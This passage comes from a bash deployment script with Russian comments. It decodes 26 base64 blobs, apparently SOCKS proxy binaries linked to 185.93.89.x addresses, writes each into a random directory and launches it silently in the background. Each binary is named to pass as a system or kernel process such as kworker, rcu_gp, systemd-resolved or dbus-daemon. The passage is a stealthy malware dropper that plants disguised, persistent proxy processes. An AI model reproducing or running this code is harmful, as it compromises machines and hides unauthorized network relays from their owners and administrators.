    echo "🔧 [157/182] Deploying chronyd-919"
    
    # Собираем данные из частей
    FILE_DATA_156="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-919"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_156" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-919 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-919 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-919"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-919"
        failed=$((failed + 1))
    fi
    

    # Файл 158: 185.93.89.172_socks32 -> kworker-889
    echo "🔧 [158/182] Deploying kworker-889"
    
    # Собираем данные из частей
    FILE_DATA_157="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-889"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_157" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-889 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-889 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-889"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-889"
        failed=$((failed + 1))
    fi
    

    # Файл 159: 185.93.89.171socks32 -> rcu_gp-369
    echo "🔧 [159/182] Deploying rcu_gp-369"
    
    # Собираем данные из частей
    FILE_DATA_158="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-369"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_158" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-369 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-369 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-369"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-369"
        failed=$((failed + 1))
    fi
    

    # Файл 160: 185.93.89.170socks32 -> NetworkManager-952
    echo "🔧 [160/182] Deploying NetworkManager-952"
    
    # Собираем данные из частей
    FILE_DATA_159="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-952"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_159" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-952 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-952 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-952"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-952"
        failed=$((failed + 1))
    fi
    

    # Файл 161: 185.93.89.169socks32 -> rcu_gp-103
    echo "🔧 [161/182] Deploying rcu_gp-103"
    
    # Собираем данные из частей
    FILE_DATA_160="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-103"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_160" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-103 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-103 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-103"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-103"
        failed=$((failed + 1))
    fi
    

    # Файл 162: 185.93.89.168_socks32 -> chronyd-468
    echo "🔧 [162/182] Deploying chronyd-468"
    
    # Собираем данные из частей
    FILE_DATA_161="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-468"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_161" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-468 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-468 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-468"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-468"
        failed=$((failed + 1))
    fi
    

    # Файл 163: 185.93.89.166socks32 -> systemd-networkd-701
    echo "🔧 [163/182] Deploying systemd-networkd-701"
    
    # Собираем данные из частей
    FILE_DATA_162="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-701"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_162" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-701 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-701 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-701"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-701"
        failed=$((failed + 1))
    fi
    

    # Файл 164: 185.93.89.165_socks32 -> kworker-770
    echo "🔧 [164/182] Deploying kworker-770"
    
    # Собираем данные из частей
    FILE_DATA_163="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-770"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_163" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-770 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-770 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-770"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-770"
        failed=$((failed + 1))
    fi
    

    # Файл 165: 185.93.89.164socks32 -> rsyslog-485
    echo "🔧 [165/182] Deploying rsyslog-485"
    
    # Собираем данные из частей
    FILE_DATA_164="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-485"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_164" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-485 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-485 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-485"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-485"
        failed=$((failed + 1))
    fi
    

    # Файл 166: 185.93.89.163socks32 -> rcu_gp-481
    echo "🔧 [166/182] Deploying rcu_gp-481"
    
    # Собираем данные из частей
    FILE_DATA_165="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-481"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_165" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-481 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-481 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-481"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-481"
        failed=$((failed + 1))
    fi
    

    # Файл 167: 185.93.89.162socks32 -> migration-105
    echo "🔧 [167/182] Deploying migration-105"
    
    # Собираем данные из частей
    FILE_DATA_166="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-105"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_166" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-105 >/dev/null 2>&1 & then
            echo "✅ Started: migration-105 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-105"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-105"
        failed=$((failed + 1))
    fi
    

    # Файл 168: 185.93.89.159socks32 -> migration-428
    echo "🔧 [168/182] Deploying migration-428"
    
    # Собираем данные из частей
    FILE_DATA_167="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-428"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_167" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-428 >/dev/null 2>&1 & then
            echo "✅ Started: migration-428 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-428"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-428"
        failed=$((failed + 1))
    fi
    

    # Файл 169: 185.93.89.158_socks32 -> dbus-daemon-506
    echo "🔧 [169/182] Deploying dbus-daemon-506"
    
    # Собираем данные из частей
    FILE_DATA_168="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-506"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_168" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-506 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-506 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-506"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-506"
        failed=$((failed + 1))
    fi
    

    # Файл 170: 185.93.89.157socks32 -> rsyslog-679
    echo "🔧 [170/182] Deploying rsyslog-679"
    
    # Собираем данные из частей
    FILE_DATA_169="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-679"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_169" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-679 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-679 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-679"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-679"
        failed=$((failed + 1))
    fi
    

    # Файл 171: 185.93.89.156socks32 -> systemd-resolved-311
    echo "🔧 [171/182] Deploying systemd-resolved-311"
    
    # Собираем данные из частей
    FILE_DATA_170="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-311"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_170" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-311 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-311 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-311"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-311"
        failed=$((failed + 1))
    fi
    

    # Файл 172: 185.93.89.155_socks32 -> chronyd-740
    echo "🔧 [172/182] Deploying chronyd-740"
    
    # Собираем данные из частей
    FILE_DATA_171="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-740"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_171" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-740 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-740 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-740"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-740"
        failed=$((failed + 1))
    fi
    

    # Файл 173: 185.93.89.153_socks32 -> systemd-networkd-677
    echo "🔧 [173/182] Deploying systemd-networkd-677"
    
    # Собираем данные из частей
    FILE_DATA_172="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-677"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_172" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-677 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-677 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-677"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-677"
        failed=$((failed + 1))
    fi
    

    # Файл 174: 185.93.89.152_socks32 -> systemd-networkd-645
    echo "🔧 [174/182] Deploying systemd-networkd-645"
    
    # Собираем данные из частей
    FILE_DATA_173="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-645"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_173" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-645 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-645 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-645"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-645"
        failed=$((failed + 1))
    fi
    

    # Файл 175: 185.93.89.151socks32 -> dbus-daemon-458
    echo "🔧 [175/182] Deploying dbus-daemon-458"
    
    # Собираем данные из частей
    FILE_DATA_174="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-458"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_174" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-458 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-458 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-458"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-458"
        failed=$((failed + 1))
    fi
    

    # Файл 176: 185.93.89.150socks32 -> watchdog-988
    echo "🔧 [176/182] Deploying watchdog-988"
    
    # Собираем данные из частей
    FILE_DATA_175="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-988"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_175" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-988 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-988 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-988"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-988"
        failed=$((failed + 1))
    fi
    

    # Файл 177: 185.93.89.149_socks32 -> dbus-daemon-798
    echo "🔧 [177/182] Deploying dbus-daemon-798"
    
    # Собираем данные из частей
    FILE_DATA_176="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-798"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_176" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-798 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-798 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-798"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-798"
        failed=$((failed + 1))
    fi
    

    # Файл 178: 185.93.89.147socks32.out -> dbus-daemon-979
    echo "🔧 [178/182] Deploying dbus-daemon-979"
    
    # Собираем данные из частей
    FILE_DATA_177="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-979"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_177" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-979 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-979 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-979"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-979"
        failed=$((failed + 1))
    fi
    

    # Файл 179: 185.93.89.146_socks32.out -> ksoftirqd-129
    echo "🔧 [179/182] Deploying ksoftirqd-129"
    
    # Собираем данные из частей
    FILE_DATA_178="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-129"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_178" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-129 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-129 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-129"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-129"
        failed=$((failed + 1))
    fi
    

    # Файл 180: 185.93.89.145_socks32 -> systemd-resolved-497
    echo "🔧 [180/182] Deploying systemd-resolved-497"
    
    # Собираем данные из частей
    FILE_DATA_179="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-497"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_179" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-497 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-497 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-497"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-497"
        failed=$((failed + 1))
    fi
    

    # Файл 181: 185.93.89.144socks32.out -> kworker-443
    echo "🔧 [181/182] Deploying kworker-443"
    
    # Собираем данные из частей
    FILE_DATA_180="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-443"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_180" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-443 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-443 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-443"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-443"
        failed=$((failed + 1))
    fi
    

    # Файл 182: 185.93.89.143socks32 -> rcu_gp-143
    echo "🔧 [182/182] Deploying rcu_gp-143"
    
    # Собираем данные из частей
    FILE_DATA_181="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-143"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_181" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-143 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-143 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-143"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-143"
        failed=$((failed + 1))
    fi
    

    echo ""
    echo "🎉 Deployment Complete!"
    echo "📊 Results:"
    echo "   Total files: 182"
    echo "   Successfully launched: $launched"
    echo "   Failed: $failed"
    echo "   Success rate: $(( launched * 100 / 182 ))%"
    echo "   Directories used: ${#DIRS[@]}"
    echo ""
    echo "🔍 Check running processes:"
    echo "   ps aux | grep -E '(systemd|kworker|rcu_gp|watchdog)' | grep -v grep"
    echo ""
    echo "👋 Professional deployment finished"
}

# Запуск сканирования и развертывания
deep_scan
